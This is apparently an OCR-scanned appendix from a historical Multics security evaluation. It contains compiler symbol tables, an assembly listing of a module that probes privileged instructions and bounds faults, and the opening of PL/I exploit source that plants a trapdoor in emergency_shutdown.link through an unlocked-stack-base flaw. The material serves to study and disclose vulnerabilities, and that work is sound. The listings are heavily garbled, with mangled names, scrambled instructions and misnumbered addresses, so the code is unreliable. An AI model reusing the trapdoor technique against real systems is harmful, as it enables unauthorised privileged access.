<td>bitstring</td>
<td></td>
<td>based</td>
<td>bit(2539295)</td>
</tr>
<tr>
<td>bounds_fault_ok</td>
<td>0001006</td>
<td>stack reference</td>
<td>condition</td>
</tr>
<tr>
<td>clock</td>
<td>000106</td>
<td>entry</td>
<td></td>
</tr>
<tr>
<td>code</td>
<td></td>
<td>internal static</td>
<td>fixed bin(17,0)</td>
</tr>
<tr>
<td>codes</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>cu_@level_get</td>
<td>0000232</td>
<td>parameter</td>
<td>pointer</td>
</tr>
<tr>
<td>fp</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>get_pdir_</td>
<td>0000230</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td>hcs_aeccl_addl</td>
<td>0000230</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td>hcs_samga_seg</td>
<td></td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td>hcs_struncats_seg</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>high_code</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>l</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>next_code</td>
<td>0(18)</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>fixed bin(17,0)</td>
</tr>
<tr>
<td>no_acc_p</td>
<td>000164</td>
<td>internal static</td>
<td>pointer</td>
</tr>
<tr>
<td>p</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>read_p</td>
<td>000166</td>
<td>internal static</td>
<td>pointer</td>
</tr>
<tr>
<td>rings</td>
<td>000116</td>
<td>internal static</td>
<td>pointer</td>
</tr>
<tr>
<td>scratch_p</td>
<td>000110</td>
<td>internal static</td>
<td>fixed bin(6,0)</td>
</tr>
<tr>
<td>scu_data</td>
<td>0(5)</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
</tr>
<tr>
<td>sp</td>
<td>000110</td>
<td>automatic</td>
<td>pointer</td>
</tr>
<tr>
<td>subvslid_inst</td>
<td>000222</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td>subvsl illegal_bf</td>
<td>000216</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td>subvsl legal_bf</td>
<td>000212</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td>subvstrry_pp</td>
<td>000214</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td>subvst fixed_fetcher</td>
<td>000220</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td>subvst fixed storer</td>
<td>000224</td>
<td>constant</td>
<td>entry</td>
</tr>
<tr>
<td>time_of_failure</td>
<td>2</td>
<td>based</td>
<td>fixed bin(71,0)</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>NAMES DECLARED IN THIS COMPILED.</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>NAMES DECLARED BY DECLARE STATEMENT.</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>NAMES DECLARED BY DECLARE STATEMENT AND NEVER REFERENCED.</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
```
<table>
<thead>
<tr>
<th>tests</th>
<th>12</th>
<th>based</th>
<th>structure</th>
<th>array level 2 decl 1-7</th>
</tr>
</thead>
<tbody>
<tr>
<td>time_of_last_test</td>
<td>4</td>
<td>based</td>
<td>fixed bin(71,0)</td>
<td>level 2 decl 1-7</td>
</tr>
<tr>
<td>type</td>
<td>1</td>
<td>based</td>
<td>fixed bin(17,0)</td>
<td>level 2 decl 2-10</td>
</tr>
<tr>
<td>version</td>
<td></td>
<td>based</td>
<td>fixed bin(17,0)</td>
<td>level 2 decl 2-10</td>
</tr>
</tbody>
</table>

NAMES DECLARED BY EXPLICIT CONTEXT:

- access_violations
- fetch
- get_no_acc_seg
- get_read_seg
- get_rema_seg
- get_scratch_seg
- id
- illegal_bounds_fault
- illegal_opcodes
- legal_bounds_fault
- store
- xed_fetch
- xed_store

NAMES DECLARED BY CONTEXT OR IMPLICATION:

- null
- pointer
- substr
- unspec

STORAGE REQUIREMENTS FOR THIS PROGRAM:

<table>
<thead>
<tr>
<th></th>
<th>Object</th>
<th>Text</th>
<th>Link</th>
<th>Symbol</th>
<th>Defs</th>
<th>Static</th>
</tr>
</thead>
<tbody>
<tr>
<td>Start</td>
<td>0</td>
<td>0</td>
<td>1356</td>
<td>1612</td>
<td>112</td>
<td>1356</td>
</tr>
<tr>
<td>Length</td>
<td>2108</td>
<td>1122</td>
<td>234</td>
<td>261</td>
<td>233</td>
<td>224</td>
</tr>
</tbody>
</table>

External procedure `access_violations` uses 296 words of automatic storage.

Internal procedure `get_scratch_seg` shares stack frame of external procedure `access_violations`.

Internal procedure `get_rema_seg` shares stack frame of external procedure `access_violations`.

Internal procedure `get_no_acc_seg` shares stack frame of external procedure `access_violations`.

Internal procedure `get_read_seg` shares stack frame of external procedure `access_violations`.

THE FOLLOWING EXTERNAL OPERATORS ARE USED BY THIS PROGRAM:

- cp_bss
- call_ext_out
- call_ext_out
- return
- signal
- ext_entry

THE FOLLOWING EXTERNAL ENTRIES ARE CALLED BY THIS PROGRAM:

- clock
- cu$level_get
- get_pdir
- hcs$ breaking
- hcs_struct_clust
- sub$v$ld_inst
- sub$v$sched_fetcher
- sub$v$sched_storing

NO EXTERNAL VARIABLES ARE USED BY THIS PROGRAM.

<table>
<thead>
<tr>
<th>LINE LOC</th>
<th>LINE LOC</th>
<th>LINE LOC</th>
<th>LINE LOC</th>
<th>LINE LOC</th>
<th>LINE LOC</th>
<th>LINE LOC</th>
<th>LINE LOC</th>
</tr>
</thead>
<tbody>
<tr>
<td>8 000047</td>
<td>2 000056</td>
<td>4 000065</td>
<td>86 000066</td>
<td>88 000075</td>
<td>89 000076</td>
<td>90 000101</td>
<td></td>
</tr>
<tr>
<td>91 000113</td>
<td>92 000120</td>
<td>95 000121</td>
<td>97 000130</td>
<td>98 000131</td>
<td>99 000134</td>
<td>100 000146</td>
<td></td>
</tr>
<tr>
<td>103 000147</td>
<td>105 000156</td>
<td>106 000157</td>
<td>107 000170</td>
<td>108 000202</td>
<td>109 000287</td>
<td>112 000210</td>
<td></td>
</tr>
<tr>
<td>114 000217</td>
<td>115 000220</td>
<td>116 000227</td>
<td>117 000241</td>
<td>120 000242</td>
<td>122 000251</td>
<td>123 000252</td>
<td></td>
</tr>
<tr>
<td>124 000261</td>
<td>125 000273</td>
<td>126 000274</td>
<td>130 000303</td>
<td>131 000304</td>
<td>132 000313</td>
<td>133 000323</td>
<td></td>
</tr>
</tbody>
</table>
ASSEMBLY LISTING OF SEGMENT >user_dir_dir>Druid>Kernel>compiler_pool>subv.alm

ASSEMBLED ON: 04/11/74 1626.1 edt Thu
OPTIONS USED: list old_object old_call symbols
ASSEMBLED BY: ALM Version 4.4; September 1973
ASSEMBLER CREATED: 02/13/74 1728.8 edt Wed

00000  1  name  subv
00000  2  entry  try_op
00000  3  entry  legal_bf
00000  4  entry  illegal_bf
00000  5  entry  xed_fetcher
00000  6  entry  xed_storer
00000  7  entry  ld_instr
00000  8  entry  cam
00000  9  entry  scu
00000  10  entry  ldt
00000  11  entry  idbr
00000  12  entry  sdbx
00000  13  entry  clic
00000  14  entry  dis
00000  15  entry  rcm
00000  16  entry  sm
00000  17  entry  snc
00000  18  entry  lacl
00000  19  entry  lam
00000  20  entry  sam
00000  21  entry  rcu
00000  22  equ  time_of_failure,2
00000  23  equ  low_order_time,3
00000  24  equ  save_area,5  Place to save registers, etc.
00000   25  temp8 bases, registers
00000   26  tempd  control
00000   27

00000  28  cas  save
00000  29  cam  0
00000  30  tra  master_less_succeeded,ic Should never get here
00000  31
00000  32  scu  save
00000  33  scu  0 master_less_succeeded,ic Should never get here either
00000  34  tra
00000  35  ldt  save
00000  36  ldt  0 master_less_succeeded,ic
000165 sa 4 000202 6331 20 103 rcc1 sys_info:1[clock_1],* Read the clock
000166 sa 2 000002 7551 00 104 sta bpl:time_of_failure Store high order bits
000167 sa 2 000003 7561 00 105 stq bpl:high_order_bits Store low bits - can't use stq.
000170 sa 000000 6220 00 106 eax2 0 Zero x2
000171 sa 6 000050 2361 12 107 bases_loop: ldiq bases,2
000172 sa 2 000005 7561 12 110 stq bpl:save_area,1
000173 sa 000001 6220 12 111 eax2 0,2 increment by 1
000174 sa 000010 1020 03 112 cmpx2 0, du < 0 ?
000175 sa 000011 6040 00 114 tae bases_loop
000176 sa 000000 6220 00 115 eax2 0
000177 sa 6 000060 2361 12 117 regs_loop: ldiq registers,2
000178 sa 2 000015 7561 12 119 stq bpl:save_area,8,2
000201 sa 6 000020 1731 20 120 return
000202 sa 6 000010 0731 00 121 eax2 0,2 Increment loop counter by 1
000203 sa 6 000024 6101 00 122 cmpx2 0, du < 0 ?
000204 sa 000001 6220 12 123 tae regs_loop
000205 sa 000010 1020 03 124
data_fetch:
000206 sa 000011 6040 00 125
data_control:
000207 sa 6 000070 2371 00 126 ldiq control,
000208 sa 2 000025 7561 00 127 stq bpl:save_area,16
000209 sa 2 000026 7561 00 128 stq bpl:save_area,17
000210 sa 132 xed_fetchers:
000211 sa 133 save
000212 sa 6 000022 3521 20 134
000213 sa 2 000028 6521 00 135
000214 sa 2 000100 3521 00 136
000215 sa 2 77722 2521 00 137
000216 sa 2 77700 3331 00 138
000217 sa 6 000032 2501 00 139
eapbp sp12,* get pointer to first arg
000220 sa 0 00002 3521 20 140
eapbp sp16,* first arg is a ptr
000221 sa 2 00000 3521 20 141
000222 sa 000261 7160 00 142 xec xed_fetch execute the xed instruction
000223 sa 000254 7100 00 143 tra fetch_succeeded
000224 sa 00022 3521 20 144
000225 sa 2 00020 6521 00 145
000226 sa 2 000100 3521 00 146
000227 sa 2 77722 2521 00 147
000228 sa 2 77700 3331 00 148
000231 sa 6 000032 2501 00 149
eapbp sp12,*
C 000232 sa 0 00002 3521 20 150
eapbp sp16,*
C 000233 sa 2 00000 3521 20 151
000234 sa 000266 7160 00 152 xec xed_store
illegal_bit

save
eabpp spi2,*
eabpp bpl10,*
eax1 0
eax2 10000
xed bounds_pair
eabpp api4,*
stq bpl10
return
eabpp api4,*
try opt save
arg_0 arg 0
load the opcode
shift it left 9 bits
add in the arg 0 instruction
pointer to arg 2
arg 2 is a pointer to segment
store the instruction in the segment
now execute the instruction

NO LITERALS
<table>
<thead>
<tr>
<th>Address</th>
<th>Code</th>
<th>Address</th>
<th>Code</th>
<th>Address</th>
<th>Code</th>
</tr>
</thead>
<tbody>
<tr>
<td>000352</td>
<td>5a</td>
<td>000003</td>
<td>00000</td>
<td>000353</td>
<td>2a</td>
</tr>
<tr>
<td>000354</td>
<td>aa</td>
<td>003 162</td>
<td>143 165</td>
<td>000355</td>
<td>5a</td>
</tr>
<tr>
<td>000356</td>
<td>2a</td>
<td>000166</td>
<td>000001</td>
<td>000357</td>
<td>aa</td>
</tr>
<tr>
<td>000360</td>
<td>3a</td>
<td>000111</td>
<td>00000</td>
<td>000361</td>
<td>2a</td>
</tr>
<tr>
<td>000362</td>
<td>aa</td>
<td>003 154</td>
<td>141 155</td>
<td>000363</td>
<td>3a</td>
</tr>
<tr>
<td>000364</td>
<td>2a</td>
<td>000152</td>
<td>000001</td>
<td>000365</td>
<td>aa</td>
</tr>
<tr>
<td>000366</td>
<td>aa</td>
<td>154 000</td>
<td>000 00</td>
<td>000367</td>
<td>5a</td>
</tr>
<tr>
<td>000368</td>
<td>2a</td>
<td>000144</td>
<td>000001</td>
<td>000369</td>
<td>aa</td>
</tr>
<tr>
<td>000370</td>
<td>2a</td>
<td>143 000</td>
<td>000 00</td>
<td>000371</td>
<td>5a</td>
</tr>
<tr>
<td>000372</td>
<td>aa</td>
<td>000136</td>
<td>000001</td>
<td></td>
<td></td>
</tr>
<tr>
<td>000373</td>
<td>5a</td>
<td>000031</td>
<td>00000</td>
<td></td>
<td></td>
</tr>
<tr>
<td>000374</td>
<td>2a</td>
<td>000130</td>
<td>000001</td>
<td>000375</td>
<td>aa</td>
</tr>
<tr>
<td>000376</td>
<td>aa</td>
<td>155 000</td>
<td>000 00</td>
<td>000377</td>
<td>5a</td>
</tr>
<tr>
<td>000378</td>
<td>aa</td>
<td>003 162</td>
<td>155 143</td>
<td>000379</td>
<td>5a</td>
</tr>
<tr>
<td>000380</td>
<td>2a</td>
<td>000122</td>
<td>000001</td>
<td>000381</td>
<td>aa</td>
</tr>
<tr>
<td>000382</td>
<td>aa</td>
<td>004 143</td>
<td>151 157</td>
<td></td>
<td></td>
</tr>
<tr>
<td>000383</td>
<td>aa</td>
<td>143 000</td>
<td>000 00</td>
<td></td>
<td></td>
</tr>
<tr>
<td>000384</td>
<td>3a</td>
<td>0000044</td>
<td>00000</td>
<td></td>
<td></td>
</tr>
<tr>
<td>000385</td>
<td>aa</td>
<td>004 163</td>
<td>144 142</td>
<td>000386</td>
<td>5a</td>
</tr>
<tr>
<td>000387</td>
<td>2a</td>
<td>000072</td>
<td>000001</td>
<td>000388</td>
<td>aa</td>
</tr>
<tr>
<td>000389</td>
<td>5a</td>
<td>000056</td>
<td>00000</td>
<td></td>
<td></td>
</tr>
<tr>
<td>000390</td>
<td>2a</td>
<td>000064</td>
<td>000001</td>
<td>000391</td>
<td>aa</td>
</tr>
<tr>
<td>000392</td>
<td>5a</td>
<td>000061</td>
<td>00000</td>
<td></td>
<td></td>
</tr>
<tr>
<td>000393</td>
<td>2a</td>
<td>0000056</td>
<td>000001</td>
<td></td>
<td></td>
</tr>
<tr>
<td>000394</td>
<td>5a</td>
<td>000014</td>
<td>141 155</td>
<td></td>
<td></td>
</tr>
<tr>
<td>000395</td>
<td>3a</td>
<td>000066</td>
<td>00000</td>
<td></td>
<td></td>
</tr>
<tr>
<td>000396</td>
<td>2a</td>
<td>000050</td>
<td>000001</td>
<td></td>
<td></td>
</tr>
<tr>
<td>000397</td>
<td>2a</td>
<td>00071</td>
<td>000001</td>
<td></td>
<td></td>
</tr>
<tr>
<td>000398</td>
<td>aa</td>
<td>003 154</td>
<td>144 137</td>
<td></td>
<td></td>
</tr>
<tr>
<td>000399</td>
<td>aa</td>
<td>151 156</td>
<td>163 164</td>
<td></td>
<td></td>
</tr>
<tr>
<td>000400</td>
<td>5a</td>
<td>000072</td>
<td>00000</td>
<td></td>
<td></td>
</tr>
<tr>
<td>000401</td>
<td>2a</td>
<td>000062</td>
<td>000001</td>
<td></td>
<td></td>
</tr>
<tr>
<td>000402</td>
<td>aa</td>
<td>012 170</td>
<td>145 144</td>
<td></td>
<td></td>
</tr>
<tr>
<td>000403</td>
<td>aa</td>
<td>187 163</td>
<td>164 157</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Address</td>
<td>Value</td>
<td>Description</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>----------</td>
<td>-------------</td>
<td>---------------------</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000444</td>
<td>5a</td>
<td>000077 000000</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000445</td>
<td>2a</td>
<td>000035 000001</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000446</td>
<td>1a</td>
<td>013 170 145 144</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000447</td>
<td>1a</td>
<td>137 146 145 164</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000450</td>
<td>1a</td>
<td>143 150 145 162</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000451</td>
<td>5a</td>
<td>000104 000000</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000452</td>
<td>2a</td>
<td>000026 000001</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000453</td>
<td>2a</td>
<td>012 151 154 154</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000454</td>
<td>1a</td>
<td>145 147 141 154</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000455</td>
<td>1a</td>
<td>137 142 146 000</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000456</td>
<td>5a</td>
<td>000111 000000</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000457</td>
<td>2a</td>
<td>000020 000001</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000458</td>
<td>1a</td>
<td>010 154 145 147</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000459</td>
<td>1a</td>
<td>141 154 137 142</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000462</td>
<td>1a</td>
<td>146 000 000 000</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000463</td>
<td>3a</td>
<td>000115 000000</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000464</td>
<td>2a</td>
<td>000012 000001</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000465</td>
<td>1a</td>
<td>006 164 162 171</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000466</td>
<td>1a</td>
<td>137 157 160 000</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000467</td>
<td>3a</td>
<td>000123 000000</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000470</td>
<td>5a</td>
<td>000008 000002</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000471</td>
<td>1a</td>
<td>014 163 171 155</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000472</td>
<td>1a</td>
<td>142 157 154 137</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000473</td>
<td>1a</td>
<td>164 141 142 154</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000474</td>
<td>1a</td>
<td>145 000 000 000</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000475</td>
<td>5a</td>
<td>000130 000000</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000476</td>
<td>5a</td>
<td>000037 000002</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000477</td>
<td>1a</td>
<td>010 162 145 154</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000480</td>
<td>1a</td>
<td>137 164 145 170</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000501</td>
<td>1a</td>
<td>164 000 000 000</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000502</td>
<td>5a</td>
<td>000135 000000</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000504</td>
<td>1a</td>
<td>010 162 145 154</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000509</td>
<td>1a</td>
<td>137 154 151 156</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000506</td>
<td>1a</td>
<td>153 000 000 000</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000507</td>
<td>5a</td>
<td>000142 000000</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000511</td>
<td>1a</td>
<td>012 162 145 154</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000512</td>
<td>1a</td>
<td>137 163 157 155</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000513</td>
<td>1a</td>
<td>142 157 154 000</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>000514</td>
<td>1a</td>
<td>000000 000000</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**EXTERNAL NAMES**

<table>
<thead>
<tr>
<th>Address</th>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>000515</td>
<td>1a</td>
<td>006 143 154 157</td>
</tr>
<tr>
<td>000516</td>
<td>1a</td>
<td>143 153 137 000</td>
</tr>
<tr>
<td>000517</td>
<td>1a</td>
<td>010 163 171 163</td>
</tr>
<tr>
<td>000520</td>
<td>1a</td>
<td>137 151 156 146</td>
</tr>
<tr>
<td>000521</td>
<td>1a</td>
<td>157 000 000 000</td>
</tr>
</tbody>
</table>

**NO TRAP POINTER WORDS**

**TYPE PAIR BLOCKS**

<table>
<thead>
<tr>
<th>Address</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>000522</td>
<td>5a</td>
</tr>
<tr>
<td>000523</td>
<td>5a</td>
</tr>
<tr>
<td>000524</td>
<td>5a</td>
</tr>
</tbody>
</table>
LINKAGE INFORMATION

<table>
<thead>
<tr>
<th>00000</th>
<th>0a</th>
<th>00000</th>
<th>00000</th>
</tr>
</thead>
<tbody>
<tr>
<td>00001</td>
<td>0a</td>
<td>00000</td>
<td>00000</td>
</tr>
<tr>
<td>00002</td>
<td>0a</td>
<td>00000</td>
<td>00000</td>
</tr>
<tr>
<td>00003</td>
<td>0a</td>
<td>00000</td>
<td>00000</td>
</tr>
<tr>
<td>00004</td>
<td>0a</td>
<td>00000</td>
<td>00000</td>
</tr>
<tr>
<td>00005</td>
<td>0a</td>
<td>00000</td>
<td>00000</td>
</tr>
<tr>
<td>00006</td>
<td>22</td>
<td>00010</td>
<td>00000</td>
</tr>
<tr>
<td>00007</td>
<td>32</td>
<td>00000</td>
<td>00020</td>
</tr>
</tbody>
</table>

*text*

<table>
<thead>
<tr>
<th>00008</th>
<th>0a</th>
<th>777770</th>
<th>0000</th>
<th>46</th>
</tr>
</thead>
<tbody>
<tr>
<td>00009</td>
<td>5a</td>
<td>000150</td>
<td>0000</td>
<td>17</td>
</tr>
<tr>
<td>00010</td>
<td>3a</td>
<td>777756</td>
<td>3700</td>
<td>04</td>
</tr>
<tr>
<td>00011</td>
<td>3a</td>
<td>777730</td>
<td>0540</td>
<td>04</td>
</tr>
<tr>
<td>00012</td>
<td>0a</td>
<td>000331</td>
<td>6270</td>
<td>00</td>
</tr>
<tr>
<td>00013</td>
<td>La</td>
<td>777773</td>
<td>7100</td>
<td>24</td>
</tr>
<tr>
<td>00014</td>
<td>aa</td>
<td>000000</td>
<td>000000</td>
<td></td>
</tr>
<tr>
<td>00015</td>
<td>aa</td>
<td>000000</td>
<td>000000</td>
<td></td>
</tr>
<tr>
<td>00016</td>
<td>aa</td>
<td>000000</td>
<td>000000</td>
<td></td>
</tr>
<tr>
<td>00017</td>
<td>aa</td>
<td>000000</td>
<td>000000</td>
<td></td>
</tr>
<tr>
<td>00018</td>
<td>La</td>
<td>777730</td>
<td>3700</td>
<td>04</td>
</tr>
<tr>
<td>00019</td>
<td>La</td>
<td>000003</td>
<td>0540</td>
<td>04</td>
</tr>
<tr>
<td>00020</td>
<td>0a</td>
<td>000000</td>
<td>000000</td>
<td></td>
</tr>
<tr>
<td>00021</td>
<td>aa</td>
<td>000000</td>
<td>000000</td>
<td></td>
</tr>
<tr>
<td>00022</td>
<td>aa</td>
<td>000000</td>
<td>000000</td>
<td></td>
</tr>
<tr>
<td>00023</td>
<td>La</td>
<td>777765</td>
<td>7100</td>
<td>24</td>
</tr>
<tr>
<td>00024</td>
<td>aa</td>
<td>000000</td>
<td>000000</td>
<td></td>
</tr>
<tr>
<td>00025</td>
<td>aa</td>
<td>000000</td>
<td>000000</td>
<td></td>
</tr>
<tr>
<td>00026</td>
<td>3a</td>
<td>777752</td>
<td>3700</td>
<td>04</td>
</tr>
<tr>
<td>00027</td>
<td>La</td>
<td>000003</td>
<td>0540</td>
<td>04</td>
</tr>
<tr>
<td>00028</td>
<td>0a</td>
<td>000000</td>
<td>000000</td>
<td></td>
</tr>
<tr>
<td>00029</td>
<td>3a</td>
<td>777744</td>
<td>3700</td>
<td>04</td>
</tr>
<tr>
<td>00030</td>
<td>La</td>
<td>000003</td>
<td>0540</td>
<td>04</td>
</tr>
<tr>
<td>00031</td>
<td>0a</td>
<td>000022</td>
<td>6270</td>
<td>00</td>
</tr>
<tr>
<td>00032</td>
<td>La</td>
<td>777751</td>
<td>7100</td>
<td>24</td>
</tr>
<tr>
<td>00033</td>
<td>aa</td>
<td>000000</td>
<td>000000</td>
<td></td>
</tr>
<tr>
<td>00034</td>
<td>aa</td>
<td>000000</td>
<td>000000</td>
<td></td>
</tr>
<tr>
<td>00035</td>
<td>3a</td>
<td>777736</td>
<td>3700</td>
<td>04</td>
</tr>
<tr>
<td>00036</td>
<td>3a</td>
<td>000003</td>
<td>0540</td>
<td>04</td>
</tr>
<tr>
<td>00037</td>
<td>0a</td>
<td>000022</td>
<td>6270</td>
<td>00</td>
</tr>
<tr>
<td>00038</td>
<td>La</td>
<td>777743</td>
<td>7100</td>
<td>24</td>
</tr>
<tr>
<td>00039</td>
<td>aa</td>
<td>000000</td>
<td>000000</td>
<td></td>
</tr>
<tr>
<td>00040</td>
<td>aa</td>
<td>000000</td>
<td>000000</td>
<td></td>
</tr>
<tr>
<td>00041</td>
<td>3a</td>
<td>777736</td>
<td>3700</td>
<td>04</td>
</tr>
<tr>
<td>00042</td>
<td>3a</td>
<td>000003</td>
<td>0540</td>
<td>04</td>
</tr>
<tr>
<td>00043</td>
<td>3a</td>
<td>000022</td>
<td>6270</td>
<td>00</td>
</tr>
<tr>
<td>00044</td>
<td>La</td>
<td>777743</td>
<td>7100</td>
<td>24</td>
</tr>
<tr>
<td>00045</td>
<td>aa</td>
<td>000000</td>
<td>000000</td>
<td></td>
</tr>
<tr>
<td>00046</td>
<td>aa</td>
<td>000000</td>
<td>000000</td>
<td></td>
</tr>
<tr>
<td>00047</td>
<td>aa</td>
<td>000000</td>
<td>000000</td>
<td></td>
</tr>
<tr>
<td>00048</td>
<td>3a</td>
<td>777730</td>
<td>3700</td>
<td>04</td>
</tr>
<tr>
<td>00049</td>
<td>3a</td>
<td>000003</td>
<td>0540</td>
<td>04</td>
</tr>
<tr>
<td>00050</td>
<td>3a</td>
<td>000022</td>
<td>6270</td>
<td>00</td>
</tr>
<tr>
<td>00051</td>
<td>La</td>
<td>777735</td>
<td>7100</td>
<td>24</td>
</tr>
<tr>
<td>00052</td>
<td>aa</td>
<td>000000</td>
<td>000000</td>
<td></td>
</tr>
<tr>
<td>00053</td>
<td>aa</td>
<td>000000</td>
<td>000000</td>
<td></td>
</tr>
<tr>
<td>00054</td>
<td>3a</td>
<td>777722</td>
<td>3700</td>
<td>04</td>
</tr>
<tr>
<td>00055</td>
<td>3a</td>
<td>000003</td>
<td>0540</td>
<td>04</td>
</tr>
<tr>
<td>00056</td>
<td>3a</td>
<td>000022</td>
<td>6270</td>
<td>00</td>
</tr>
<tr>
<td>00057</td>
<td>La</td>
<td>777727</td>
<td>7100</td>
<td>24</td>
</tr>
<tr>
<td>00058</td>
<td>aa</td>
<td>000000</td>
<td>000000</td>
<td></td>
</tr>
<tr>
<td>00059</td>
<td>aa</td>
<td>000000</td>
<td>000000</td>
<td></td>
</tr>
<tr>
<td>00060</td>
<td>3a</td>
<td>777716</td>
<td>3700</td>
<td>04</td>
</tr>
<tr>
<td>00061</td>
<td>3a</td>
<td>000003</td>
<td>0540</td>
<td>04</td>
</tr>
<tr>
<td>00062</td>
<td>3a</td>
<td>000022</td>
<td>6270</td>
<td>00</td>
</tr>
<tr>
<td>00063</td>
<td>La</td>
<td>777721</td>
<td>7100</td>
<td>24</td>
</tr>
<tr>
<td>00064</td>
<td>aa</td>
<td>000000</td>
<td>000000</td>
<td></td>
</tr>
</tbody>
</table>
000165 3a 000000 000000
000166 3a 777612 3700 04
000167 La 000003 0540 04
000170 0a 000140 6279 00
000171 La 777617 7100 24
000172 3a 000000 000000
000173 3a 000000 000000
000174 3a 777604 3700 04
000175 La 000003 0540 04
000176 0a 000150 6279 00
000177 La 777611 7100 24
000200 3a 000000 000000
000201 3a 000000 000000
000202 3a 777576 0000 46
000203 3a 000154 0000 20

(entry_sequence)

(entry_sequence)

sys_info clock_
APPENDIX B

Unlocked Stack Base Listing

This appendix contains listings of the four modules which make up the code needed to exploit the Unlocked Stack Base Vulnerability described in Section 3.3.3. The first two procedures, di and dia, implement step one of the vulnerability — inserting code into emergency_shutdown.link (referred to in the listings as esd.link.) The last two procedures, fi and fia, implement step two of the vulnerability — actually using the inserted code to read or write any 36 bit quantity in the system. Figure 9 in the main text corresponds to di and dia. Figure 10 corresponds to fi and fia. As in Appendix A, obsolete 645 instructions are flagged by the assembler.
PROCEDURE TO PLACE TRAPDOOR IN EMERGENCY_SHUTDOWN.LINE */

DECLARE
RING0_GET_$SEGPTR ENTRY (CHAR (*), CHAR (*), PTR, FIXED BIN),
SP PTR,
CODE FIXED BIN,
COM_ERR ENTRY OPTIONS (VARIABLE),
FI ENTRY (PTR, BIT (35) ALIGNED),
DIA ENTRY (PTR, PTR),
MVOFFSET FIXED BIN INT STATIC INIT (296), /* OFFSET WITHIN EMERGENCY_SHUTDOWN.LINE AT WHICH TO PATCH */
MVP PTR,
CALL RING0_GET_$SEGPTR ("", "SIGNALLER", SP, CODE); /* GET SEGMENT NUMBER OF SIGNALLER */
IF CODE "= 0 THEN
  DO;
ERROR
  CALL COM_ERR (CODE, "DI");
  RETURN;
END;
END;
CALL RING0_GET_$SEGPTR ("", EMERGENCY_SHUTDOWN.LINE, MVP, CODE); /* GET SEGMENT NUMBER OF EMERGENCY_SHUTDOWN.LINE */
IF CODE "= 0 THEN GO TO ERROR;
CALL DIA (SP, ADDRL (MVP, MVOFFSET)); /* CALL ASSEMBLY PROGRAM TO FINISH */
